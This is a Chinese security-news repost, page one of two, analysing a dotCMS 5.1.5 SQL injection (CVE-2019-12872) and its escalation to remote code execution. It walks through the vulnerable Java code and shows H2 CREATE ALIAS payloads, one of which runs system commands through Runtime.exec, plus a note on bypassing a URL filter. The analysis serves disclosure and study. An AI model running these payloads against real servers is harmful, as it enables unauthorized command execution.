欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

dotCMS 5.1.5:利用H2 SQL注入实现RCE

来源:本站整理 作者:佚名 时间:2019-06-27 TAG: 我要投稿

在本文中,我们利用由RIPS代码分析系统发现的一个SQL注入漏洞(CVE-2019-12872),在基于java的内容管理系统dotCMS上实现了远程代码执行。
未授权攻击者可以通过CSRF或者以Publisher角色来利用这个SQL注入漏洞。攻击者可以执行堆叠SQL查询(stacked queries),这意味着当目标服务使用的是H2数据库时,攻击者有可能篡改任意数据库条目,甚至执行shell命令。
 
0x01 漏洞分析
dotCMS有个Push Publishing功能,该功能可以将内容从一个服务器远程发布到另一个服务器,比如从测试环境发布到生产环境。此外,用户可以将多个内容集合到一个bundle(捆绑包)中,然后直接推送这个bundle,不用单独推送每个内容。攻击者可以利用这个功能,将一个bundle推送到发布队列中,并且注入SQL语句。详细信息请参考RIPS的扫描报告。
我们可以通过view_unpushed_bundles.jsp文件来查看尚未推送的bundle。攻击者的入口点可以参考如下代码片段,其中系统会调用存在漏洞的deleteEndPointById()函数。漏洞利用前提是未发布的bundle需要位于待发布队列中,否则整个执行流程将不会触及第7行代码。然而作为内容发布者,我们可以简单将bundle推送到队列中。系统会在代码第6行,通过HTTP GET或者POST参数delEp接收未过滤的用户输入数据,然后将其以参数id传递给deleteEndPointById()函数。
代码源文件:html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp:
...
for(Bundle bundle : bundles){
          hasBundles=true;
      if(null!=request.getParameter("delEp")){
       String id = request.getParameter("delEp");
       pepAPI.deleteEndPointById(id);
      }
    ...
    }
%>
...
deleteEndPointById()函数随后会调用completeDiscardConflicts(),后者依然会通过参数id来传递未过滤的用户输入数据。
com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl:
public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {
    public void deleteEndPointById(String id) throws DotDataException {
        ...
        integrityUtil.completeDiscardConflicts(id);
        ...
    }
    ...
}
进一步跟踪后,我们可以找到discardConflicts()函数(如下所示),其中在第5行,用户输入会通过endpointId参数拼接到DELETE查询语句中。这里没有任何输入过滤机制,也没有预置的安全语句,攻击者可以将任意SQL语法注入已有的SQL查询语句中。
com.dotcms.integritycheckers.AbstractIntegrityChecker:
private void discardConflicts(final String endpointId, IntegrityType type)
     throws DotDataException {
   ...
   dc.executeStatement("delete from " + resultsTableName + " where endpoint_id = '"
       + endpointId + "'");
   }
DotConnect类的executeStatement()函数代码如下所示,其中代码会使用java.sql.Statement.execute来执行被攻击者污染的sql字符串。有趣的是,该函数支持堆叠查询,这意味着我们可以连续执行任意SQL命令。不幸的是,我们不能直接接收执行命令的输出结果。然而,我们可以通过盲注方式(基于时间或者基于错误的方式),或者通过操控任意数据库条目来读取数据库内容。
com.dotmarketing.common.db.DotConnect:
public class DotConnect {
    public boolean executeStatement(String sql) throws SQLException {
        boolean ret = stmt.execute(sql);
    }
}
系统并没有使用CSRF令牌来保护可以触发SQL注入的源头JSP文件。因此,如果未经授权的攻击者成功诱骗内容发布者访问攻击者控制的网站,那么就能利用这个SQL注入漏洞。
 
0x02 利用H2 SQL注入漏洞
默认情况下,DotCMS会捆绑H2数据库。经过一番研究后,我们发现H2允许用户定义函数别名,因此可以执行Java代码。简单的查询语句如下所示,该语句可以创建名为REVERSE的函数别名,其中包含我们构造的Java代码payload。然后我们可以使用CALL语句调用这个别名,执行我们的Java payload。
CREATE ALIAS REVERSE AS
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');
为了实现远程代码执行(RCE),攻击者可以通过java.lang.Runtime.exec()来执行系统命令。
CREATE ALIAS EXEC AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');
然而这里我们还面临最后一个挑战。dotCMS中有一个URL过滤器,不允许我们在URL中使用花括号({}或者经过URL编码后的%7b%7d)。由于CREATE ALIAS指令可以使用字符串(String)作为源代码,因此我们可以成功绕过这个限制。这意味着我们不需要使用$符号,可以使用内置的SQL函数来编码我们的payload。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载